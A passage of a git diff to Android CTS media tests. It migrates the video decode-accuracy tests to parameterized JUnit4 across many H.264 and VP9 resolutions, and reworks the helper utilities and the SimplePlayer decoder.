         }
     }
+
+    public void stop() {
+        if (mAudioTrack != null) {
+            mAudioTrack.stop();
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/CodecUtils.java b/tests/tests/media/src/android/media/cts/CodecUtils.java
index 5b56f6f..24c1174 100644
--- a/tests/tests/media/src/android/media/cts/CodecUtils.java
+++ b/tests/tests/media/src/android/media/cts/CodecUtils.java
@@ -16,18 +16,21 @@
 
 package android.media.cts;
 
-import android.graphics.ImageFormat;
+import android.graphics.Bitmap;
+import android.graphics.Color;
 import android.graphics.Rect;
 import android.media.cts.CodecImage;
 import android.media.Image;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecList;
+import android.media.MediaCodec.BufferInfo;
+import android.os.Environment;
 import android.util.Log;
 
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
 import java.nio.ByteBuffer;
-import java.security.MessageDigest;
-import java.util.ArrayList;
 
 public class CodecUtils  {
     private static final String TAG = "CodecUtils";
@@ -147,84 +150,34 @@
 
     public native static float[] Raw2YUVStats(long[] rawStats);
 
-    public static String getImageMD5Checksum(Image image) throws Exception {
-        int format = image.getFormat();
-        if (ImageFormat.YUV_420_888 != format) {
-            Log.w(TAG, "unsupported image format");
-            return "";
-        }
-
-        MessageDigest md = MessageDigest.getInstance("MD5");
-
-        int imageWidth = image.getWidth();
-        int imageHeight = image.getHeight();
-
-        Image.Plane[] planes = image.getPlanes();
-        for (int i = 0; i < planes.length; ++i) {
-            ByteBuffer buf = planes[i].getBuffer();
-
-            int width, height, rowStride, pixelStride, x, y;
-            rowStride = planes[i].getRowStride();
-            pixelStride = planes[i].getPixelStride();
-            if (i == 0) {
-                width = imageWidth;
-                height = imageHeight;
-            } else {
-                width = imageWidth / 2;
-                height = imageHeight /2;
+    /**
+     * This method reads the binarybar code on the top row of a bitmap. Each 16x16
+     * block is one digit, with black=0 and white=1. LSB is on the left.
+     */
+    public static int readBinaryCounterFromBitmap(Bitmap bitmap) {
+        int numDigits = bitmap.getWidth() / 16;
+        int counter = 0;
+        for (int i = 0; i < numDigits; i++) {
+            int rgb = bitmap.getPixel(i * 16 + 8, 8);
+            if (Color.red(rgb) > 128) {
+                counter |= (1 << i);
             }
-            // local contiguous pixel buffer
-            byte[] bb = new byte[width * height];
-            if (buf.hasArray()) {
-                byte b[] = buf.array();
-                int offs = buf.arrayOffset();
-                if (pixelStride == 1) {
-                    for (y = 0; y < height; ++y) {
-                        System.arraycopy(bb, y * width, b, y * rowStride + offs, width);
-                    }
-                } else {
-                    // do it pixel-by-pixel
-                    for (y = 0; y < height; ++y) {
-                        int lineOffset = offs + y * rowStride;
-                        for (x = 0; x < width; ++x) {
-                            bb[y * width + x] = b[lineOffset + x * pixelStride];
-                        }
-                    }
-                }
-            } else { // almost always ends up here due to direct buffers
-                int pos = buf.position();
-                if (pixelStride == 1) {
-                    for (y = 0; y < height; ++y) {
-                        buf.position(pos + y * rowStride);
-                        buf.get(bb, y * width, width);
-                    }
-                } else {
-                    // local line buffer
-                    byte[] lb = new byte[rowStride];
-                    // do it pixel-by-pixel
-                    for (y = 0; y < height; ++y) {
-                        buf.position(pos + y * rowStride);
-                        // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
-                        buf.get(lb, 0, pixelStride * (width - 1) + 1);
-                        for (x = 0; x < width; ++x) {
-                            bb[y * width + x] = lb[x * pixelStride];
-                        }
-                    }
-                }
-                buf.position(pos);
-            }
-            md.update(bb, 0, width * height);
         }
-
-        return convertByteArrayToHEXString(md.digest());
+        return counter;
     }
 
-    private static String convertByteArrayToHEXString(byte[] ba) throws Exception {
-        StringBuilder result = new StringBuilder();
-        for (int i = 0; i < ba.length; i++) {
-            result.append(Integer.toString((ba[i] & 0xff) + 0x100, 16).substring(1));
+    public static void saveBitmapToFile(Bitmap bitmap, String filename) {
+        try {
+            File outputFile = new File(Environment.getExternalStorageDirectory(), filename);
+
+            Log.d(TAG, "Saving bitmap to: " + outputFile);
+            FileOutputStream outputStream = new FileOutputStream(outputFile);
+            bitmap.compress(Bitmap.CompressFormat.JPEG, 90, outputStream);
+            outputStream.flush();
+            outputStream.close();
+        } catch(Exception e) {
+            Log.e(TAG, "Failed to save to file: " + e);
         }
-        return result.toString();
     }
 }
 
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
index 7b74ba7..010d992 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
@@ -15,29 +15,131 @@
  */
 package android.media.cts;
 
+import static junit.framework.TestCase.assertTrue;
+
+import static org.junit.Assert.fail;
+
 import android.media.cts.R;
 
 import android.annotation.TargetApi;
 import android.content.Context;
 import android.graphics.Bitmap;
+import android.media.MediaFormat;
 import android.util.Log;
 import android.view.View;
 
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.Timeout;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.Test;
+
 @TargetApi(24)
+@RunWith(Parameterized.class)
 public class DecodeAccuracyTest extends DecodeAccuracyTestBase {
 
     private static final String TAG = DecodeAccuracyTest.class.getSimpleName();
-    private static final String H264_VIDEO_FILE_NAME = "480ph264decodertest.mp4";
-    private static final String VP9_VIDEO_FILE_NAME = "360pvp9decodertest.webm";
-    private static final String H264_CROPPED_VIDEO_FILE_NAME = "520x360h264decodertest.mp4";
+    private static final Field[] fields = R.raw.class.getFields();
     private static final int ALLOWED_GREATEST_PIXEL_DIFFERENCE = 90;
     private static final int OFFSET = 10;
+    private static final long PER_TEST_TIMEOUT_MS = 60000;
+    private static final String[] VIDEO_FILES = {
+        // 144p
+        "video_decode_accuracy_and_capability-h264_256x108_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_256x144_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_192x144_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_82x144_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_256x108_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_256x144_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_192x144_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_82x144_30fps.webm",
+        // 240p
+        "video_decode_accuracy_and_capability-h264_426x182_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_426x240_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_320x240_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_136x240_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_426x182_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_426x240_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_320x240_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_136x240_30fps.webm",
+        // 360p
+        "video_decode_accuracy_and_capability-h264_640x272_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_640x360_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_480x360_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_202x360_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_640x272_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_640x360_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_480x360_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_202x360_30fps.webm",
+        // 480p
+        "video_decode_accuracy_and_capability-h264_854x362_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_854x480_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_640x480_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_270x480_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_854x362_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_854x480_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_640x480_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_270x480_30fps.webm",
+        // 720p
+        "video_decode_accuracy_and_capability-h264_1280x544_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_1280x720_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_960x720_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_406x720_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_1280x544_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_1280x720_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_960x720_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_406x720_30fps.webm",
+        // 1080p
+        "video_decode_accuracy_and_capability-h264_1920x818_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_1920x1080_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_1440x1080_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_608x1080_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_1920x818_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_1920x1080_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_1440x1080_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_608x1080_30fps.webm",
+        // 1440p
+        "video_decode_accuracy_and_capability-h264_2560x1090_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_2560x1440_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_1920x1440_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_810x1440_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_2560x1090_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_2560x1440_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_1920x1440_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_810x1440_30fps.webm",
+        // 2160p
+        "video_decode_accuracy_and_capability-h264_3840x1634_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_3840x2160_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_2880x2160_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_1216x2160_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_3840x1634_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_3840x2160_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_2880x2160_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_1216x2160_30fps.webm",
+        // cropped
+        "video_decode_with_cropping-h264_520x360_60fps.mp4",
+        "video_decode_with_cropping-vp9_520x360_60fps.webm"
+    };
 
     private View videoView;
     private VideoViewFactory videoViewFactory;
+    private String fileName;
 
+    @After
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (videoView != null) {
             getHelper().cleanUpView(videoView);
         }
@@ -47,111 +149,61 @@
         super.tearDown();
     }
 
-    /* <------------- Tests Using H264 -------------> */
-    public void testH264GLViewVideoDecode() throws Exception {
-        runH264DecodeAccuracyTest(
-                new GLSurfaceViewFactory(),
-                new VideoFormat(H264_VIDEO_FILE_NAME));
+    @Parameters(name = "{0}")
+    public static Collection<Object[]> data() {
+        final List<Object[]> testParams = new ArrayList<>();
+        for (int i = 0; i < VIDEO_FILES.length; i++) {
+            final String file = VIDEO_FILES[i];
+            Pattern regex = Pattern.compile("^\\w+-(\\w+)_\\d+fps.\\w+");
+            Matcher matcher = regex.matcher(file);
+            String testName = "";
+            if (matcher.matches()) {
+                testName = matcher.group(1);
+            }
+            testParams.add(new Object[] { testName.replace("_", " ").toUpperCase(), file });
+        }
+        return testParams;
     }
 
-    public void testH264GLViewLargerHeightVideoDecode() throws Exception {
-        runH264DecodeAccuracyTest(
-                new GLSurfaceViewFactory(),
-                getLargerHeightVideoFormat(new VideoFormat(H264_VIDEO_FILE_NAME)));
+    public DecodeAccuracyTest(String testname, String fileName) {
+        this.fileName = fileName;
     }
 
-    public void testH264GLViewLargerWidthVideoDecode() throws Exception {
-        runH264DecodeAccuracyTest(
-                new GLSurfaceViewFactory(),
-                getLargerWidthVideoFormat(new VideoFormat(H264_VIDEO_FILE_NAME)));
+    @Test(timeout=PER_TEST_TIMEOUT_MS)
+    public void testGLViewDecodeAccuracy() throws Exception {
+        runTest(new GLSurfaceViewFactory(), new VideoFormat(fileName));
     }
 
-    public void testH264SurfaceViewVideoDecode() throws Exception {
-        runH264DecodeAccuracyTest(
-                new SurfaceViewFactory(),
-                new VideoFormat(H264_VIDEO_FILE_NAME));
+    @Test(timeout=PER_TEST_TIMEOUT_MS)
+    public void testGLViewLargerHeightDecodeAccuracy() throws Exception {
+        runTest(new GLSurfaceViewFactory(), getLargerHeightVideoFormat(new VideoFormat(fileName)));
     }
 
-    public void testH264SurfaceViewLargerHeightVideoDecode() throws Exception {
-        runH264DecodeAccuracyTest(
-                new SurfaceViewFactory(),
-                getLargerHeightVideoFormat(new VideoFormat(H264_VIDEO_FILE_NAME)));
+    @Test(timeout=PER_TEST_TIMEOUT_MS)
+    public void testGLViewLargerWidthDecodeAccuracy() throws Exception {
+        runTest(new GLSurfaceViewFactory(), getLargerWidthVideoFormat(new VideoFormat(fileName)));
     }
 
-    public void testH264SurfaceViewLargerWidthVideoDecode() throws Exception {
-        runH264DecodeAccuracyTest(
-                new SurfaceViewFactory(),
-                getLargerWidthVideoFormat(new VideoFormat(H264_VIDEO_FILE_NAME)));
+    @Test(timeout=PER_TEST_TIMEOUT_MS)
+    public void testSurfaceViewVideoDecodeAccuracy() throws Exception {
+        runTest(new SurfaceViewFactory(), new VideoFormat(fileName));
     }
 
-    /* <------------- Tests Using VP9 -------------> */
-    public void testVP9GLViewVideoDecode() throws Exception {
-        runVP9DecodeAccuracyTest(
-                new GLSurfaceViewFactory(),
-                new VideoFormat(VP9_VIDEO_FILE_NAME));
+    @Test(timeout=PER_TEST_TIMEOUT_MS)
+    public void testSurfaceViewLargerHeightDecodeAccuracy() throws Exception {
+        runTest(new SurfaceViewFactory(), getLargerHeightVideoFormat(new VideoFormat(fileName)));
     }
 
-    public void testVP9GLViewLargerHeightVideoDecode() throws Exception {
-        runVP9DecodeAccuracyTest(
-                new GLSurfaceViewFactory(),
-                getLargerHeightVideoFormat(new VideoFormat(VP9_VIDEO_FILE_NAME)));
+    @Test(timeout=PER_TEST_TIMEOUT_MS)
+    public void testSurfaceViewLargerWidthDecodeAccuracy() throws Exception {
+        runTest(new SurfaceViewFactory(), getLargerWidthVideoFormat(new VideoFormat(fileName)));
     }
 
-    public void testVP9GLViewLargerWidthVideoDecode() throws Exception {
-        runVP9DecodeAccuracyTest(
-                new GLSurfaceViewFactory(),
-                getLargerWidthVideoFormat(new VideoFormat(VP9_VIDEO_FILE_NAME)));
-    }
-
-    public void testVP9SurfaceViewVideoDecode() throws Exception {
-        runVP9DecodeAccuracyTest(
-                new SurfaceViewFactory(),
-                new VideoFormat(VP9_VIDEO_FILE_NAME));
-    }
-
-    public void testVP9SurfaceViewLargerHeightVideoDecode() throws Exception {
-        runVP9DecodeAccuracyTest(
-                new SurfaceViewFactory(),
-                getLargerHeightVideoFormat(new VideoFormat(VP9_VIDEO_FILE_NAME)));
-    }
-
-    public void testVP9SurfaceViewLargerWidthVideoDecode() throws Exception {
-        runVP9DecodeAccuracyTest(
-                new SurfaceViewFactory(),
-                getLargerWidthVideoFormat(new VideoFormat(VP9_VIDEO_FILE_NAME)));
-    }
-
-    /* <------------- Tests H264 with cropping -------------> */
-    public void testH264GLViewCroppedVideoDecode() throws Exception {
-        runH264DecodeCroppedTest(
-                new GLSurfaceViewFactory(),
-                new VideoFormat(H264_CROPPED_VIDEO_FILE_NAME));
-    }
-
-    public void testH264SurfaceViewCroppedVideoDecode() throws Exception {
-        runH264DecodeCroppedTest(
-                new SurfaceViewFactory(),
-                new VideoFormat(H264_CROPPED_VIDEO_FILE_NAME));
-    }
-
-    private void runH264DecodeAccuracyTest(
-            VideoViewFactory videoViewFactory, VideoFormat videoFormat) {
-        runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.h264decodertestgolden);
-    }
-
-    private void runVP9DecodeAccuracyTest(
-            VideoViewFactory videoViewFactory, VideoFormat videoFormat) {
-        runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.vp9decodertestgolden);
-    }
-
-    private void runH264DecodeCroppedTest(
-            VideoViewFactory videoViewFactory, VideoFormat videoFormat) {
-        runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.h264decodertest520x360golden);
-    }
-
-    private void runDecodeAccuracyTest(
-            VideoViewFactory videoViewFactory, VideoFormat videoFormat, int goldenResId) {
-        checkNotNull(videoFormat);
+    private void runTest(VideoViewFactory videoViewFactory, VideoFormat vf) {
+        if (!MediaUtils.canDecodeVideo(vf.getMimeType(), vf.getWidth(), vf.getHeight(), 30)) {
+            MediaUtils.skipTest(TAG, "No supported codec is found.");
+            return;
+        }
         this.videoViewFactory = checkNotNull(videoViewFactory);
         this.videoView = videoViewFactory.createView(getHelper().getContext());
         final int maxRetries = 3;
@@ -173,38 +225,37 @@
                 }
             }
         }
-        // In the case of SurfaceView, VideoViewSnapshot can only capture incoming frames,
-        // so it needs to be created before start decoding.
+        final int golden = getGoldenId(vf.getDescription(), vf.getOriginalSize());
+        assertTrue("No golden found.", golden != 0);
         final VideoViewSnapshot videoViewSnapshot = videoViewFactory.getVideoViewSnapshot();
-        decodeVideo(videoFormat, videoViewFactory);
-        validateResult(videoFormat, videoViewSnapshot, goldenResId);
+        decodeVideo(vf, videoViewFactory);
+        validateResult(vf, videoViewSnapshot, golden);
     }
 
     private void decodeVideo(VideoFormat videoFormat, VideoViewFactory videoViewFactory) {
         final SimplePlayer player = new SimplePlayer(getHelper().getContext());
         final SimplePlayer.PlayerResult playerResult = player.decodeVideoFrames(
                 videoViewFactory.getSurface(), videoFormat, 10);
-        assertTrue("Failed to configure video decoder.", playerResult.isConfigureSuccess());
-        assertTrue("Failed to start video decoder.", playerResult.isStartSuccess());
-        assertTrue("Failed to decode the video.", playerResult.isSuccess());
+        assertTrue(playerResult.getFailureMessage(), playerResult.isSuccess());
     }
 
     private void validateResult(
-            VideoFormat videoFormat, VideoViewSnapshot videoViewSnapshot, int goldenResId) {
-        final Bitmap result = getHelper().generateBitmapFromVideoViewSnapshot(videoViewSnapshot);
-        final Bitmap golden = getHelper().generateBitmapFromImageResourceId(goldenResId);
+            VideoFormat videoFormat, VideoViewSnapshot videoViewSnapshot, int goldenId) {
+        final Bitmap result = checkNotNull("The expected bitmap from snapshot is null",
+                getHelper().generateBitmapFromVideoViewSnapshot(videoViewSnapshot));
+        final Bitmap golden = getHelper().generateBitmapFromImageResourceId(goldenId);
         final BitmapCompare.Difference difference = BitmapCompare.computeMinimumDifference(
                 result, golden, videoFormat.getOriginalWidth(), videoFormat.getOriginalHeight());
         assertTrue("With the best matched border crop ("
-                    + difference.bestMatchBorderCrop.first + ", "
-                    + difference.bestMatchBorderCrop.second + "), "
-                    + "greatest pixel difference is "
-                    + difference.greatestPixelDifference
-                    + (difference.greatestPixelDifferenceCoordinates != null
-                    ? " at (" + difference.greatestPixelDifferenceCoordinates.first + ", "
-                    + difference.greatestPixelDifferenceCoordinates.second + ")" : "")
-                    + " which is over the allowed difference " + ALLOWED_GREATEST_PIXEL_DIFFERENCE,
-                    difference.greatestPixelDifference <= ALLOWED_GREATEST_PIXEL_DIFFERENCE);
+                + difference.bestMatchBorderCrop.first + ", "
+                + difference.bestMatchBorderCrop.second + "), "
+                + "greatest pixel difference is "
+                + difference.greatestPixelDifference
+                + (difference.greatestPixelDifferenceCoordinates != null
+                        ? " at (" + difference.greatestPixelDifferenceCoordinates.first + ", "
+                            + difference.greatestPixelDifferenceCoordinates.second + ")" : "")
+                + " which is over the allowed difference " + ALLOWED_GREATEST_PIXEL_DIFFERENCE,
+                difference.greatestPixelDifference <= ALLOWED_GREATEST_PIXEL_DIFFERENCE);
     }
 
     private static VideoFormat getLargerHeightVideoFormat(VideoFormat videoFormat) {
@@ -241,4 +292,22 @@
         };
     }
 
+    /**
+     * Returns the resource id by matching parts of the video and golden file name.
+     */
+    private static int getGoldenId(String description, String size) {
+        for (Field field : fields) {
+            try {
+                final String name = field.getName();
+                if (name.contains("golden") && name.contains(description) && name.contains(size)) {
+                    int id = field.getInt(null);
+                    return field.getInt(null);
+                }
+            } catch (IllegalAccessException | NullPointerException e) {
+                // No file found.
+            }
+        }
+        return 0;
+    }
+
 }
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
index fae1bb4..0e92e3d 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
@@ -17,11 +17,17 @@
 
 import android.media.cts.R;
 
+import static org.junit.Assert.assertNotNull;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
 import android.annotation.TargetApi;
+import android.annotation.SuppressLint;
 import android.app.Activity;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.ActivityInfo;
+import android.content.res.AssetFileDescriptor;
 import android.content.res.Configuration;
 import android.content.res.Resources;
 import android.graphics.Bitmap;
@@ -32,6 +38,7 @@
 import android.media.MediaCodec;
 import android.media.MediaCodec.BufferInfo;
 import android.media.MediaCodec.CodecException;
+import android.media.MediaCodecList;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.net.Uri;
@@ -44,7 +51,7 @@
 import android.os.HandlerThread;
 import android.os.Looper;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.rule.ActivityTestRule;
 import android.util.Log;
 import android.util.Pair;
 import android.util.SparseArray;
@@ -59,13 +66,12 @@
 import android.widget.RelativeLayout;
 
 import java.io.File;
-import java.io.FileOutputStream;
-import java.io.InputStream;
 import java.io.IOException;
 import java.nio.ByteBuffer;
 import java.nio.ByteOrder;
 import java.nio.FloatBuffer;
 import java.util.concurrent.TimeUnit;
+import java.util.HashMap;
 
 import javax.microedition.khronos.egl.EGL10;
 import javax.microedition.khronos.egl.EGLConfig;
@@ -73,33 +79,36 @@
 import javax.microedition.khronos.egl.EGLDisplay;
 import javax.microedition.khronos.egl.EGLSurface;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+
 @TargetApi(16)
-public class DecodeAccuracyTestBase
-    extends ActivityInstrumentationTestCase2<DecodeAccuracyTestActivity> {
+public class DecodeAccuracyTestBase {
 
     protected Context mContext;
     protected Resources mResources;
     protected DecodeAccuracyTestActivity mActivity;
     protected TestHelper testHelper;
 
-    public DecodeAccuracyTestBase() {
-        super(DecodeAccuracyTestActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<DecodeAccuracyTestActivity> mActivityRule =
+            new ActivityTestRule<>(DecodeAccuracyTestActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        getInstrumentation().waitForIdleSync();
-        mContext = getInstrumentation().getTargetContext();
-        mResources = mContext.getResources();
+    @Before
+    public void setUp() throws Exception {
+        mActivity = mActivityRule.getActivity();
+        mContext = mActivity.getApplicationContext();
+        mResources = mActivity.getResources();
         testHelper = new TestHelper(mContext, mActivity);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         mActivity = null;
-        super.tearDown();
+        mResources = null;
+        mContext = null;
+        mActivityRule = null;
     }
 
     protected void bringActivityToFront() {
@@ -117,42 +126,63 @@
         return reference;
     }
 
-    public static class SimplePlayer {
+    public static <T> T checkNotNull(String msg, T reference) {
+        assertNotNull(msg, reference);
+        return reference;
+    }
 
-        public static final long DECODE_TIMEOUT_MS = TimeUnit.SECONDS.toMillis(1) / 2;
+    /* Simple Player that decodes a local video file only. */
+    @TargetApi(16)
+    static class SimplePlayer {
 
+        public static final long MIN_MS_PER_FRAME = TimeUnit.SECONDS.toMillis(1) / 10; // 10 FPS
+        public static final int END_OF_STREAM = -1;
+        public static final int DEQUEUE_SUCCESS = 1;
+        public static final int DEQUEUE_FAIL = 0;
+
+        private static final String TAG = SimplePlayer.class.getSimpleName();
         private static final int NO_TRACK_INDEX = -3;
         private static final long DEQUEUE_TIMEOUT_US = 20;
-        private static final String TAG = SimplePlayer.class.getSimpleName();
 
         private final Context context;
         private final MediaExtractor extractor;
+        private final String codecName;
         private MediaCodec decoder;
+        private byte[] outputBytes;
+        private boolean renderToSurface;
+        private MediaCodecList mediaCodecList;
+        private Surface surface;
 
         public SimplePlayer(Context context) {
-            this(context, new MediaExtractor());
+            this(context, null);
         }
 
-        public SimplePlayer(Context context, MediaExtractor extractor) {
+        public SimplePlayer(Context context, String codecName) {
             this.context = checkNotNull(context);
-            this.extractor = checkNotNull(extractor);
+            this.codecName = codecName;
+            this.extractor = new MediaExtractor();
+            this.renderToSurface = false;
+            this.surface = null;
         }
 
-        /*
-         * The function play the corresponding file for certain number of frames,
+        /**
+         * The function play the corresponding file for certain number of frames.
          *
          * @param surface is the surface view of decoder output.
          * @param videoFormat is the format of the video to extract and decode.
-         * @param numOfTotalFrame is the number of Frame wish to play.
-         * @return a PlayerResult object indicating success or failure.
+         * @param numOfTotalFrames is the number of Frame wish to play.
+         * @param msPerFrameCap is the maximum msec per frame. No cap is set if value is less than 1.
+         * @return {@link PlayerResult} that consists the result.
          */
         public PlayerResult decodeVideoFrames(
-                Surface surface, VideoFormat videoFormat, int numOfTotalFrames) {
+                Surface surface, VideoFormat videoFormat, int numOfTotalFrames, long msPerFrameCap) {
+            this.surface = surface;
             PlayerResult playerResult;
-            if (prepare(surface, videoFormat)) {
+            if (prepareVideoDecode(videoFormat)) {
                 if (startDecoder()) {
-                    playerResult = decodeFramesAndDisplay(
-                            surface, numOfTotalFrames, numOfTotalFrames * DECODE_TIMEOUT_MS);
+                    final long timeout =
+                            Math.max(MIN_MS_PER_FRAME, msPerFrameCap) * numOfTotalFrames * 2;
+                    playerResult = decodeFramesAndPlay(numOfTotalFrames, timeout, msPerFrameCap);
                 } else {
                     playerResult = PlayerResult.failToStart();
                 }
@@ -163,88 +193,177 @@
             return new PlayerResult(playerResult);
         }
 
-        public PlayerResult decodeVideoFrames(VideoFormat videoFormat, int numOfTotalFrames) {
-            return decodeVideoFrames(null, videoFormat, numOfTotalFrames);
+        public PlayerResult decodeVideoFrames(
+                Surface surface, VideoFormat videoFormat, int numOfTotalFrames) {
+            return decodeVideoFrames(surface, videoFormat, numOfTotalFrames, 0);
         }
 
-        /*
-         * The function set up the extractor and decoder with proper format.
-         * This must be called before decodeFramesAndDisplay.
+        public PlayerResult decodeVideoFrames(VideoFormat videoFormat, int numOfTotalFrames) {
+            return decodeVideoFrames(null, videoFormat, numOfTotalFrames, 0);
+        }
+
+        /**
+         * The function sets up the extractor and video decoder with proper format.
+         * This must be called before doing starting up the decoder.
          */
-        private boolean prepare(Surface surface, VideoFormat videoFormat) {
-            Log.i(TAG, "Preparing to decode the media file.");
-            if (!setExtractorDataSource(videoFormat)) {
+        private boolean prepareVideoDecode(VideoFormat videoFormat) {
+            MediaFormat mediaFormat = prepareExtractor(videoFormat);
+            if (mediaFormat == null) {
                 return false;
             }
-            int trackNum = getFirstVideoTrackIndex(extractor);
+            configureVideoFormat(mediaFormat, videoFormat);
+            setRenderToSurface(surface != null);
+            return createDecoder(mediaFormat) && configureDecoder(surface, mediaFormat);
+        }
+
+        /**
+         * Sets up the extractor and gets the {@link MediaFormat} of the track.
+         */
+        private MediaFormat prepareExtractor(VideoFormat videoFormat) {
+            if (!setExtractorDataSource(videoFormat)) {
+                return null;
+            }
+            final int trackNum = getFirstTrackIndexByType(videoFormat.getMediaFormat());
             if (trackNum == NO_TRACK_INDEX) {
-                return false;
+                return null;
             }
             extractor.selectTrack(trackNum);
-            MediaFormat mediaFormat = extractor.getTrackFormat(trackNum);
-            configureFormat(mediaFormat, videoFormat);
-            return configureDecoder(surface, mediaFormat);
+            return extractor.getTrackFormat(trackNum);
         }
 
-        /* The function decode video frames and display in a surface. */
-        private PlayerResult decodeFramesAndDisplay(
-                Surface surface, int numOfTotalFrames, long timeOutMs) {
-            Log.i(TAG, "Starting decoding.");
-            checkNotNull(decoder);
+        /**
+         * The function decode video frames and display in a surface.
+         *
+         * @param numOfTotalFrames is the number of frames to be decoded.
+         * @param timeOutMs is the time limit for decoding the frames.
+         * @param msPerFrameCap is the maximum msec per frame. No cap is set if value is less than 1.
+         * @return {@link PlayerResult} that consists the result.
+         */
+        private PlayerResult decodeFramesAndPlay(
+                int numOfTotalFrames, long timeOutMs, long msPerFrameCap) {
             int numOfDecodedFrames = 0;
-            long decodeStart = 0;
-            boolean renderToSurface = surface != null ? true : false;
-            BufferInfo info = new BufferInfo();
-            ByteBuffer inputBuffer;
-            ByteBuffer[] inputBufferArray = decoder.getInputBuffers();
-            long loopStart = SystemClock.elapsedRealtime();
+            long firstOutputTimeMs = 0;
+            long lastFrameAt = 0;
+            final long loopStart = SystemClock.elapsedRealtime();
 
             while (numOfDecodedFrames < numOfTotalFrames
                     && (SystemClock.elapsedRealtime() - loopStart < timeOutMs)) {
                 try {
-                    int inputBufferIndex = decoder.dequeueInputBuffer(DEQUEUE_TIMEOUT_US);
-                    if (inputBufferIndex >= 0) {
-                        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
-                            inputBuffer = inputBufferArray[inputBufferIndex];
-                        } else {
-                            inputBuffer = decoder.getInputBuffer(inputBufferIndex);
-                        }
